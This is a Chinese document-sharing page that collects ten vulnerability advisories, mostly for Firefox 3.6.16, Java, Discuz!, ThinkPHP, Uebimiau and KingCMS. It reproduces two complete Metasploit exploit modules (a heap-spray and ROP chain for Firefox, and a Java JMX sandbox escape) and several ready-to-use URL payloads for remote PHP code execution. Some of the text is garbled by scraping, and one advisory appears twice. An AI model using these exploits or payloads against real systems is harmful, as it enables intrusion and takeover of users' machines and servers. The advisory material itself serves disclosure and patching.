火狐远程代码执行漏洞 Firefox 3.6.16漏洞预警

| 收藏本文 下载本文 作者:要心平气和啊

以下是小编整理的火狐远程代码执行漏洞 Firefox 3.6.16漏洞预警(共含10篇),欢迎阅读分享。同时,但愿您也能像本文投稿人“要心平气和啊”一样,积极向本站投稿分享好文章。

火狐远程代码执行漏洞 Firefox 3.6.16漏洞预警

篇1:火狐远程代码执行漏洞 Firefox 3.6.16漏洞预警

Firefox 3.6.16 OBJECT mChannel Remote Code Execution Exploit (DEP bypass)

CVE:-0065

OSVDB:72085

URL:bugzilla.mozilla.org/show_bug.cgi?id=634986

www.mozilla.org/security/announce/2011/mfsa2011-13.html

Exploit(MSF 17612.rb):

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote

Rank = NormalRanking

#

# This module acts as an HTTP server

#

include Msf::Exploit::Remote::HttpServer::HTML

include Msf::Exploit::Remote::BrowserAutopwn

autopwn_info({

:ua_name => HttpClients::FF,

:ua_minver => “3.6.16”,

:ua_maxver => “3.6.16”,

:os_name => OperatingSystems::WINDOWS,

:javascript. => true,

:rank => NormalRanking,

})

def initialize(info = {})

super(update_info(info,

'Name'     => 'Mozilla Firefox 3.6.16 mChannel use after free Exploit',

'Description'  => %q{

This module exploits an use after free vulnerability in Mozilla

Firefox 3.6.16. An OBJECT Element mChannel can be freed via the

OnChannelRedirect method of the nsIChannelEventSink Interface. mChannel

becomes a dangling pointer and can be reused when setting the OBJECTs

data attribute. (Discovered by regenrecht). This module uses heapspray

with a minimal ROP chain to bypass DEP on Windows XP SP3

},

'License'    => MSF_LICENSE,

'Author'    =>

[

'regenrecht', # discovery

'Rh0'  # wrote metasploit module

],

'Version'    => '0.0',

'References'  =>

[

['CVE',  '2011-0065'],

['OSVDB', '72085'],

['URL',  'bugzilla.mozilla.org/show_bug.cgi?id=634986'],

['URL',  'www.mozilla.org/security/announce/2011/mfsa2011-13.html']

],

'DefaultOptions' =>

{

'EXITFUNC' => 'process',

'InitialAutoRunScript' => 'migrate -f',

},

'Payload'    =>

{

'Space'  => 1024,

'BadChars' => “”,

},

'Targets'    =>

[ # worked with 100% reliability

[ 'Firefox 3.6.16, Windows XP SP3 (VirtualBox 4)',

{

'Platform' => 'win',

'Arch' => ARCH_X86,

}

],

],

'DefaultTarget' => 0,

'DisclosureDate' => 'May 10 2011'

))

end

def on_request_uri(cli, request)

# Re-generate the payload

return if ((p = regenerate_payload(cli).encoded) == nil)

print_status(“Sending #{self.name} to #{cli.peerhost}:#{cli.peerport}...”)

send_response_html(cli, generate_html(p), { 'Content-Type' => 'text/html' })

# Handle the payload

handler(cli)

end

def generate_html(payload)

# DEP bypass

custom_stack = [

0x1052c871, # mov esp,[ecx] / mov edx,5c86c6ff add [eax],eax / xor eax,eax / pop esi / retN 0x8

0x7c801ad4, # VirtualProtect

0xbeeff00d,

0xbeeff00d,

0x7c874413, # jmp esp

0x0c0c0048, # start address

0x00000400, # size 1024

0x00000040, # Page EXECUTE_READ_WRITE

0x0c0c0c00 # old protection

].pack(“V*”)

payload_buf = ''

payload_buf << custom_stack

payload_buf << payload

escaped_payload = Rex::Text.to_unescape(payload_buf)

custom_js = %Q|

e = document.getElementById(“d”);

e.QueryInterface(Components.interfaces.nsIChannelEventSink).onChannelRedirect(null,new Object,0)

fake_obj_addr = unescape(“x0c%u0c0c”)

// taken and modified from adobe_flashplayer_newfunction.rb

var sc = unescape(“#{escaped_payload}”)

var ret_addr = unescape(“%u0024%u0c0c”)

while(ret_addr.length+20+8 < 0x100000) {ret_addr += ret_addr}

var b = ret_addr.substring(0,(0x48-0x24)/2)

b += sc

b += ret_addr

var next = b.substring(0,0x10000/2)

while(next.length<0x800000) {next += next}

var again = next.substring(0,0x80000 - (0x1020-0x08)/2)

array = new Array

for (n=0;n<0x1f0;n++){

array[n] = again + sc

}

e.data = “”

|

return %Q|

|

end

end

From:www.exploit-db.com/exploits/17612/

篇2:Kindle Touch远程代码执行漏洞漏洞预警

不知道有没有amazon的kindle迷呢?最近国外媒体报道Kindle Touch出现了远程可执行代码漏洞,针对Kindle Touch 5.1.0 版本固件,可以远程执行代码,把/etc/shadow文件发送到指定的web服务器。 漏洞涉及到/usr/lib/libkindleplugin.so插件,Kindle Touch内置的浏览器WebKit会使用该插件。当用户浏览特定的网页时,就会以root权限执行特制的代码。

当前amazon还没有相关补丁。可能会在下一个版本的固件升级中修复,

临时的修复方法可参考:

mntroot rw && mv /usr/lib/browser/plugins/libkindleplugin.so /usr/lib/browser/plugins/libkindleplugin.so.disabled && mntroot ro && killall wafapp 实际上只要有关注Kindle Touch的用户都应该知道,早就有越狱的方法可以直接进入Kindle的root了。各种优化中文字体的方法都建立在越狱基础上。所以这次出现的“远程可执行代码漏洞”更多的是提供多一种另类“远程”越狱方法罢了。而且应该很少用户使用Kindle Touch来浏览网页,因为用户体验不太好。但是,还是需要使用Kindle Touch的用户注意安全。

篇3:远程文件执行代码漏洞利用方法漏洞预警

goole 搜 Uebimiau Webmail

地址后面加 /uebimiau/admin/editor.php?load=config 被人拿了 加 /uebimiau/index.php?cmd=id

全部是外国的 ,,,高手可以玩玩,。。。。。。

漏洞公布时间 6 。12

==========================================================

Uebimiau Webmail <= v3.2.0-1.8 Remote File / Overwrite Vulnerabilities

Dork : Uebimiau Webmail v3.2.0-1.8

POC :

/uebimiau/admin/editor.php?load=config

And You Can Write Any Code As

Go

/uebimiau/index.php?cmd=id

See Pic :www.almlf.com/get-6-2009-almlf_com_akszizl2.png

Thanx To

篇4:布百度影音远程代码执行漏洞漏洞预警

百度影音是国内一款不错的媒体播放软件,该软件在很多细节方面处理的人性化,但是,开发者在发布该软件的时候,没有将软件中使用的特殊库文件消除,导致百度影音播放器可以借此机会实现远程执行任意代码,

该库文件名称为“log.dll”,推测应该是带有调试性质的日志记录接口,将该文件与任意格式的媒体文件放置在同一目录下,当用户使用百度影音播放媒体文件时,“log.dll”文件将会被同时加载,如果该文件为恶意攻击者开发,那么就会直接造成用户系统受到攻击,

为此,恶意攻击者可以利用该漏洞,远程共享带有“log.dll”和媒体文件的文件夹,诱使用户访问,最终实现远程入侵用户系统。

修复方法:

代码剔除法或者本地设定法

最后百度官方给出的回复是:感谢提交.开发人员反馈没有那么严重.我们尽快修复.

篇5:Discuz! 7.1 & 7.2 远程代码执行漏洞漏洞预警

首先说一下,漏洞是t00ls核心群传出去的,xhming先去读的,然后我后来读的,读出来的都是代码执行,1月5日夜里11点多钟,在核心群的 们的要求下,xhming给了个poc,我给了个exp,确实发现的是同一个问题,截止夜里2点多种我下线,还只有t00ls核心群里几个人知道我给出的exp,可我怎么也想不到,经过半天时间,exp就满天飞了,而且确实出自昨天我的那个版本。

不难想象,exp流传的速度,A与B关系好,A发给B;B与C是好朋友,B发给C...总有人耐不住性子,泄露点风声,于是就人手一份。最受不了的是,竟然有些SB在群里拿来叫卖;实在不想说什么,要叫卖什么时候轮到你?人心不古,以后有的话还是自己藏着吧。

上午漏洞告诉了Saiy,DZ官方的补丁很快就出来了吧。

特别说明:产生漏洞的$scriptlang数组在安装插件后已经初始化,因此有安装插件的用户不受影响。

漏洞介绍:

Discuz!新版本7.1与7.2版本中的showmessage函数中eval中执行的参数未初始化,可以任意提交,从而可以执行任意PHP命令。

漏洞分析:

下面来分析下这个远程代码执行漏洞,这个问题真的很严重,可以直接写shell的:

一、漏洞来自showmessage函数:

function showmessage($message, $url_forward = '', $extra = '', $forwardtype = 0) {

extract($GLOBALS, EXTR_SKIP);//危险的用法,未初始化的变量可以直接带进函数,直接导致了问题产生,from www.oldjun.com

global $hookscriptmessage, $extrahead, $discuz_uid, $discuz_action, $debuginfo, $seccode, $seccodestatus, $fid, $tid, $charset, $show_message, $inajax, $_DCACHE, $advlist;

define('CACHE_FORBIDDEN', TRUE);

$hookscriptmessage = $show_message = $message;$messagehandle = 0;

$msgforward = unserialize($_DCACHE['settings']['msgforward']);

$refreshtime = intval($msgforward['refreshtime']);

$refreshtime = empty($forwardtype) ? $refreshtime : ($refreshtime ? $refreshtime : 3);

$msgforward['refreshtime'] = $refreshtime * 1000;

$url_forward = empty($url_forward) ? '' : (empty($_DCOOKIE['sid']) && $transsidstatus ? transsid($url_forward) : $url_forward);

$seccodecheck = $seccodestatus & 2;

if($_DCACHE['settings']['funcsiteid'] && $_DCACHE['settings']['funckey'] && $funcstatinfo && !IS_ROBOT) {

$statlogfile = DISCUZ_ROOT.'./forumdata/funcstat.log';

if($fp = @fopen($statlogfile, 'a')) {

@flock($fp, 2);

if(is_array($funcstatinfo)) {

$funcstatinfo = array_unique($funcstatinfo);

foreach($funcstatinfo as $funcinfo) {

fwrite($fp, funcstat_query($funcinfo, $message).“n”);

}

} else {

fwrite($fp, funcstat_query($funcstatinfo, $message).“n”);

}

fclose($fp);

$funcstatinfo = $GLOBALS['funcstatinfo'] = '';

}

}

if(!defined('STAT_DISABLED') && STAT_ID > 0 && !IS_ROBOT) {

write_statlog($message);

}

if($url_forward && (!empty($quickforward) || empty($inajax) && $msgforward['quick'] && $msgforward['messages'] && @in_array($message, $msgforward['messages']))) {

updatesession;

dheader(“location: ”.str_replace('&', '&', $url_forward));

}

if(!empty($infloat)) {

if($extra) {

$messagehandle = $extra;

}

$extra = '';

}

if(in_array($extra, array('HALTED', 'NOPERM'))) {

$discuz_action = 254;

} else {

$discuz_action = 255;

}

include language('messages');

$vars = explode(':', $message);//只要含:就可以了

if(count($vars) == 2 && isset($scriptlang[$vars[0]][$vars[1]])) {//两个数字即可,用:分割

eval(“$show_message = ”“.str_replace('”', '“', $scriptlang[$vars[0]][$vars[1]]).”“;”);//$scriptlang未初始化,可以自定义,from www.oldjun.com

} elseif(isset($language[$message])) {

$pre = $inajax ? 'ajax_' : '';

eval(“$show_message = ”“.(isset($language[$pre.$message]) ? $language[$pre.$message] : $language[$message]).”“;”);

unset($pre);

}

......

}

二、DZ的全局机制导致了未初始化的参数可以任意提交:

foreach(array('_COOKIE', '_POST', '_GET') as $_request) {

foreach($$_request as $_key => $_value) {

$_key{0} != '_' && $$_key = daddslashes($_value);

}

}

三、misc.php正好有个可以自定义message的点,其实也是未初始化:

elseif($action == 'imme_binding' && $discuz_uid) {

if(isemail($id)) {

$msn = $db->result_first(“SELECT msn FROM {$tablepre}memberfields WHERE uid='$discuz_uid'”);

$msn = explode(“t”, $msn);

$id = dhtmlspecialchars(substr($id, 0, strpos($id, '@')));

$msn = “$msn[0]t$id”;

$db->query(“UPDATE {$tablepre}memberfields SET msn='$msn' WHERE uid='$discuz_uid'”);

showmessage('msn_binding_succeed', 'memcp.php');

} else {

if($result == 'Declined') {

dheader(“Location: memcp.php”);

} else {

showmessage($response['result']);//$response没有初始化,可以自定义,from www.oldjun.com

}

}

}

四、漏洞利用:

showmessage函数里$vars = explode(':', $message);然后message可以自己控制,于是就很容易了,参数是两个自定义的数组,

五、漏洞修复:

1.有补丁的打补丁;

2.没有补丁可以暂时先注释引起漏洞的语句,或者对两个变量赋个值。

poc:

(应Saiy的要求,不发exp了!)注册一个用户登陆,然后提交

misc.php?action=imme_binding&response[result]=1:2&scriptlang[1][2]={${phpinfo()}}

篇6:Java Applet JMX远程代码执行漏洞预警

##

# This file is part of the Metasploit Framework and may be subject to

# redistribution and commercial restrictions. Please see the Metasploit

# web site for more information on licensing and terms of use.

##

require 'msf/core'

require 'rex'

class Metasploit3 < Msf::Exploit::Remote

Rank = ExcellentRanking

include Msf::Exploit::Remote::HttpServer::HTML

include Msf::Exploit::EXE

include Msf::Exploit::Remote::BrowserAutopwn

autopwn_info({ :javascript. => false })

def initialize( info = {} )

super( update_info( info,

'Name'     => 'Java Applet JMX Remote Code Execution',

'Description' => %q{

This module abuses the JMX classes from a Java Applet to run arbitrary Java code

outside of the sandbox as exploited in the wild in February of . Additionally,

this module bypasses default security settings introduced in Java 7 Update 10 to run

unsigned applet without displaying any warning to the user.

},

'License'   => MSF_LICENSE,

'Author'    =>

[

'Unknown', # Vulnerability discovery and exploit in the wild

'Adam Gowdiak', # Vulnerability discovery

'SecurityObscurity', # Exploit analysis and deobfuscation

'juan vazquez' # Metasploit module

],

'References'  =>

[

[ 'CVE', '2013-0431' ],

[ 'OSVDB', '89613' ],

[ 'BID', '57726' ],

[ 'URL', 'www.security-explorations.com/materials/SE--01-ORACLE-8.pdf' ],

[ 'URL', 'www.security-explorations.com/materials/SE-2012-01-ORACLE-9.pdf' ],

[ 'URL', 'security-obscurity.blogspot.com.es/2013/01/about-new-java-0-day-vulnerability.html' ],

[ 'URL', 'pastebin.com/QWU1rqjf' ],

[ 'URL', 'malware.dontneedcoffee.com/2013/02/cve-2013-0431-java-17-update-11.html' ]

],

'Platform'   => [ 'java', 'win', 'osx', 'linux' ],

'Payload'   => { 'Space' => 20480, 'BadChars' => '', 'DisableNops' => true },

'Targets'   =>

[

[ 'Generic (Java Payload)',

{

'Platform' => ['java'],

'Arch' => ARCH_JAVA,

}

],

[ 'Windows x86 (Native Payload)',

{

'Platform' => 'win',

'Arch' => ARCH_X86,

}

],

[ 'Mac OS X x86 (Native Payload)',

{

'Platform' => 'osx',

'Arch' => ARCH_X86,

}

],

[ 'Linux x86 (Native Payload)',

{

'Platform' => 'linux',

'Arch' => ARCH_X86,

}

],

],

'DefaultTarget' => 0,

'DisclosureDate' => 'Jan 19 2013'

))

end

def on_request_uri(cli, request)

print_status(“handling request for #{request.uri}”)

case request.uri

when /.jar$/i

print_status(“Sending JAR”)

send_response( cli, generate_jar, { 'Content-Type' => “application/octet-stream” } )

when //$/

print_status(“Sending HTML”)

send_response_html(cli, generate_html, { 'Content-Type' => 'text/html' })

else

send_redirect(cli, get_resource() + '/', '')

end

end

def generate_jar

paths = [

[ “Exploit.ser” ],

[ “Exploit.class” ],

[ “B.class” ]

]

p = regenerate_payload(cli)

jar = p.encoded_jar

paths.each do |path|

1.upto(path.length - 1) do |idx|

full = path[0,idx].join(“/”) + “/”

if !(jar.entries.map{|e|e.name}.include?(full))

jar.add_file(full, '')

end

end

fd = File.open(File.join( Msf::Config.install_root, “data”, “exploits”, “cve-2013-0431”, path ), “rb”)

data = fd.read(fd.stat.size)

jar.add_file(path.join(“/”), data)

fd.close

end

return jar.pack

end

def generate_html

html = <<-EOF

EOF

return html

end

end

篇7:Discuz! X2.5 远程代码执行漏洞预警及EXP[XDAY]漏洞预警

看到discuz dede啥的漏洞一下就精神了,哈哈……

过程简单说下,记的有点乱不贴太多代码了

diff一下看

balabalabala.....

if(!defined('IN_DISCUZ')) {

@@ -89,7 +89,7 @@

}

}

if($searcharray && $replacearray) {

- $content = preg_replace(“/(.*?)||([attach](d+)[/attach])/ies”, 'helper_seo::base64_transform(“encode”, “”, “123”, “”)', $content);

+ $content = preg_replace(“/(.*?)|()|([attach](d+)[/attach])/ies”, “helper_seo::base64_transform('encode', '', '123', '')”, $content);

$content = preg_replace($searcharray, $replacearray, $content, 1);

$content = preg_replace(“/(.*?)/ies”, “helper_seo::base64_transform('decode', '', '1', '')”, $content);

}

@@ -100,7 +100,7 @@ www.xxx.com

public static function base64_transform(0, $prefix, $string, $suffix) {

if(0 == 'encode') {

-   return $prefix.base64_encode(str_replace(“'”, “'”, $string)).$suffix;  // - -

+   return $prefix.base64_encode(str_replace(“”“, ”“”, $string)).$suffix;

} elseif(0 == 'decode') {

return $prefix.base64_decode($string).$suffix;

}

够清楚吧,问题在/source/class/helper/helper_seo.php 92行附近的:

$content = preg_replace(“/(.*?)|()|([attach](d+)[/attach])/ies”, ‘helper_seo::base64_transform(“encode”, ““, “123″, ““)’, $content);

preg_replace 使用了e修正符,又是双引号,所以导致远程任意代码执行,

Discuz! X2.5 远程代码执行漏洞预警及EXP[XDAY]漏洞预警

需要论坛支持个功能,啥功能看68行$_G['cache']['relatedlink'],grep下relatedlink一路跟,具体代码先不贴,找到需要后台开个seo功能,在运营-关联链接/admin.php?frames=yes&action=misc&operation=relatedlink,且至少需要设置一个链接,这功能不是所有管理员都开,但是我觉得大部分都会开,如果不开,它就只能是个后台拿shell的tips了。

function_core.php 1925

function parse_related_link($content, $extent) {

return helper_seo::parse_related_link($content, $extent);

}

看正则

“/(.*?)|()|([attach](d+)[/attach])/ies”

那么利用方式还用说么? 各种地方比如source/include/space/space_blog.php,懂的都懂了:P

晚点再公开详细利用方法,一会上班到公司数据中心跑下看影响范围吧,五点了,找程序找好久

作者 北北的blog

篇8:ThinkPHP framework 任意代码执行漏洞预警漏洞预警

ThinkPHP是一个国内使用很广泛的老牌PHP MVC框架,貌似国内有不少创业公司或者项目都用了这个框架。

最近官方发布了一个安全补丁,官方表述是:该URL安全漏洞会造成用户在客户端伪造URL,执行非法代码。

可是貌似大多数开发者和使用者并没有注意到此漏洞的危害性,应者了了,更不用说有多少人去升级了。随后我对其进行了分析,发现此问题果然是一个非常严重的问题,只要使用了thinkphp框架,就可以直接执行任意php代码。特此发帖预警各位。

我们来分析一下官方的补丁:

/trunk/ThinkPHP/Lib/Core/Dispatcher.class.php

125 - $res = preg_replace('@(w+)'.$depr.'([^'.$depr.'/]+)@e', '$var['1']=“2”;', implode($depr,$paths));

125 + $res = preg_replace('@(w+)'.$depr.'([^'.$depr.'/]+)@e', '$var['1']='2';', implode($depr,$paths));

这个代码是把pathinfo当作restful类型url进行解析的,主要作用是把pathinfo中的数据解析并合并到$_GET数组中,

然而在用正则解析pathinfo的时候,主要是这一句:

$res = preg_replace('@(w+)'.$depr.'([^'.$depr.'/]+)@e', '$var['1']=“2”;', implode($depr,$paths));

这里明显使用了preg_replace的/e参数,这是个非常危险的参数,如果用了这个参数,preg_replace第二个参数就会被当做php代码执行,作者用这种方式在第二个参数中,利用PHP代码给数组动态赋值。

'$var['1']=“2”;'

而这里又是双引号,而双引号中的php变量语法又是能够被解析执行的。因此,攻击者只要对任意一个使用thinkphp框架编写的应用程序,使用如下方式进行访问,即可执行任意PHP代码:

index.php/module/action/param1/${@print(THINK_VERSION)}

由于是双引号执行,这里为了保险起见,不给出更有危害性的代码,利用这个还是需要点技巧的。

总之这个问题非常严重,找了一下,发现目前没有修补漏洞的网站还是很多的。而ThinkPHP框架的特征其实非常好识别,有意者直接写个scanner进行扫描也未必不可能。

为了不造成更大损失,特地发帖希望引起各位使用thinkphp做开发的同学关注。尽早升级官方的安全补丁

作者:GaRY

篇9:KingCmsSQL注入加+代码执行漏洞预警

详细说明:

function kc_pageLoad{

if (KC_MAGIC_QUOTES_GPC){

$_GET=kc_stripslashes_array($_GET);

$_POST=kc_stripslashes_array($_POST);

$_COOKIE=kc_stripslashes_array($_COOKIE);

$array=array('PHP_SELF','SCRIPT_URI','QUERY_STRING','PATH_INFO','PATH_TRANSLATED');

foreach($array as $val){

if(isset($_SERVER[$val]))

$_SERVER[$val]=htmlspecialchars($_SERVER[$val]);

//这里程序员考虑到了跨站的问题

例如:我们提交一个 fuca.php/“>

就导致一个反射型XSS

}

}

//设置ismethod值 true:post ; false:get

$ismethod=kc_post('METHOD') ? True : False;

$GLOBALS['ismethod']=!($_SERVER['REQUEST_METHOD']=='GET' || $ismethod);

}

www.2cto.com

function kc_stripslashes_array(&$_data){

if (is_array($_data)){

foreach ($_data as $_key => $_value){

$_data[$_key]=kc_stripslashes_array($_value);

}

return $_data;

}else{

return stripslashes($_data);

}

}

decode addslashes 呵

程序在去掉转义字符的同时.也为我们的注入带来方便

因此程序员也写了一个函数 来获取GET 和 POST数组的值 并调用kc_validate

用正则表达式来匹配我们提交的值:

function kc_get($name,0=2,$is=0){

global $king;

$val=isset($_GET[$name]) ? $_GET[$name] :'';

if(!isset($val{0}))

$val=isset($_POST[$name]) ? $_POST[$name] : '';

if(isset($val{0})){

if(kc_validate($val,0)){

$_getid=$val;

}else{

kc_error($king->lang->get

略....

kc_validate

function kc_validate($s,$_type){

switch($_type){

case 1:$_reg='/^[a-zA-Z0-9]+$/';break;

case 2:$_reg='/^[0-9]+$/';break;

case 3:$_reg='/^([0-9.]+,?)+$/';break;

case 4:$_reg='/^[A-Za-z0-9_]+$/';break;

case 5:

$_reg='/^w+([-+.]w+)*@w+([-.]w+)*.w+([-.]w+)*$/';break;

case 6:

//$_reg='/^(http|https|ftp):(//|)(([w/+-~`@:%])+.)+([w/.=?+-~`@:!%#]|(&)|&)+/';

$_reg='/^[a-zA-Z]{3,10}://[^s]+$/';

break;

case 7:

global $king;

//  $_bool=in_array(kc_f_ext($s),explode('|',$king->config('upimg')));

//  retrun $_bool;

$_reg='/^([a-zA-Z]{3,10}://)?[^s]+.('.$king->config('upimg').')$/';

//$_reg='/^((http|https|ftp):(//|)(([w/+-~`@:%])+.)+([w/.=?+-~`@:!%#]|(&)|&)+|([w/.=?+-~`@':!%#]|(&)|&)+).('.$king->config('upimg').')$/';

break;//jpeg|jpg|gif|png|bmp

case 8:

$_reg='/^((((1[6-9]|[2-9]d)d{2})-(0?[13578]|1[02])-(0?[1-9]|[12]d|3[01]))|(((1[6-9]|[2-9]d)d{2})-(0?[13456789]|1[012])-(0?[1-9]|[12]d|30))|(((1[6-9]|[2-9]d)d{2})-0?2-(0?[1-9]|1d|2[0-8]))|(((1[6-9]|[2-9]d)(0[48]|[2468][048]|[13579][26])|((16|[2468][048]|[3579][26])00))-0?2-29)) (20|21|22|23|[0-1]?d):[0-5]?d:[0-5]?d$/';break;

case 9:

$_reg='/^((((1[6-9]|[2-9]d)d{2})-(0?[13578]|1[02])-(0?[1-9]|[12]d|3[01]))|(((1[6-9]|[2-9]d)d{2})-(0?[13456789]|1[012])-(0?[1-9]|[12]d|30))|(((1[6-9]|[2-9]d)d{2})-0?2-(0?[1-9]|1d|2[0-8]))|(((1[6-9]|[2-9]d)(0[48]|[2468][048]|[13579][26])|((16|[2468][048]|[3579][26])00))-0?2-29))$/';break;

case 10:$_reg='/^d?.d?.d{4}$/';break;

case 13:$_reg='/^#?[0-9A-Fa-f]{6}$/';break;

default:$_reg=$_type;

case 22:$_reg='/^-?[0-9]+$/';break;

case 23:$_reg='/^[a-zA-Z][a-zA-Z0-9_]*/';break;

case 24:$_reg='/^[a-zA-Z0-9-_]+$/';break;

case 25:$_reg='/[a-zA-Z0-9+%]+(=)*$/';break;

case 33:$_reg='/^(-?[0-9]+,?)+$/';break;

default:$_reg=$_type;

略..

代码执行:

$tmp=$t ? $t : $this->tmp;

if(substr($tmp,0,6)=='{Tags}'){

$s='';

foreach($this->array as $key => $val){

$s.=”{king:$key/} -> $val

“;

}

$s.='';

}else{

kc_runtime('Template');

$s=preg_replace_callback($this->parent,array(&$this,'regexcallback'),$tmp);

kc_runtime('Template',1);

}

$parent='//is';

篇10:ThinkPHP framework 任意代码执行漏洞预警

最近官方发布了一个安全补丁,官方表述是:该URL安全漏洞会造成用户在客户端伪造URL,执行非法代码

ThinkPHP是一个国内使用很广泛的老牌PHP MVC框架,

ThinkPHP framework 任意代码执行漏洞预警

。貌似国内有不少创业公司或者项目都用了这个框架。

最近官方发布了一个安全补丁,官方表述是:该URL安全漏洞会造成用户在客户端伪造URL,执行非法代码。

可是貌似大多数开发者和使用者并没有注意到此漏洞的危害性,应者了了,更不用说有多少人去升级了。随后我对其进行了分析,发现此问题果然是一个非常严重的问题,只要使用了thinkphp框架,就可以直接执行任意php代码。特此发帖预警各位。

我们来分析一下官方的补丁:

/trunk/ThinkPHP/Lib/Core/Dispatcher.class.php

复制代码

代码如下:

125 - $res = preg_replace('@(w+)'.$depr.'([^'.$depr.'/]+)@e', '$var['1']=”2“;', implode($depr,$paths));

125 + $res = preg_replace('@(w+)'.$depr.'([^'.$depr.'/]+)@e', '$var['1']='2';', implode($depr,$paths));

这个代码是把pathinfo当作restful类型url进行解析的,主要作用是把pathinfo中的数据解析并合并到$_GET数组中,

然而在用正则解析pathinfo的时候,主要是这一句:

复制代码

代码如下:

$res = preg_replace('@(w+)'.$depr.'([^'.$depr.'/]+)@e', '$var['1']=”2“;', implode($depr,$paths));

这里明显使用了preg_replace的/e参数,这是个非常危险的参数,如果用了这个参数,preg_replace第二个参数就会被当做php代码执行,作者用这种方式在第二个参数中,利用PHP代码给数组动态赋值。

复制代码

代码如下:

'$var['1']=”2";'

而这里又是双引号,而双引号中的php变量语法又是能够被解析执行的。因此,攻击者只要对任意一个使用thinkphp框架编写的应用程序,使用如下方式进行访问,即可执行任意PHP代码:

复制代码

代码如下:

index.php/module/action/param1/${@print(THINK_VERSION)}

由于是双引号执行,这里为了保险起见,不给出更有危害性的代码,利用这个还是需要点技巧的。

总之这个问题非常严重,找了一下,发现目前没有修补漏洞的网站还是很多的。而ThinkPHP框架的特征其实非常好识别,有意者直接写个scanner进行扫描也未必不可能。

为了不造成更大损失,特地发帖希望引起各位使用thinkphp做开发的同学关注。尽早升级官方的安全补丁

作者:GaRY

一个远程代码执行漏洞搞定Yahoo, Microsoft, Orange漏洞预警

规章制度执行有漏洞

Thaiweb远程文件sql注入漏洞0day漏洞预警

跨站脚本执行漏洞代码的几点思路

FCKeditor漏洞利用总结漏洞预警

Joomla远程上传漏洞 可直接getshell

TinyBrowser远程文件上传漏洞分析

PHP 5.2.11/5.3.0 的多个漏洞漏洞预警

关于MS08067的一点细节漏洞预警

dedecms 5.7 edit.inc.php文件注射漏洞预警

火狐远程代码执行漏洞 Firefox 3.6.16漏洞预警(合集10篇)

欢迎下载DOC格式的火狐远程代码执行漏洞 Firefox 3.6.16漏洞预警,但愿能给您带来参考作用!
推荐度: 推荐 推荐 推荐 推荐 推荐
点击下载文档 文档为doc格式
点击下载本文文档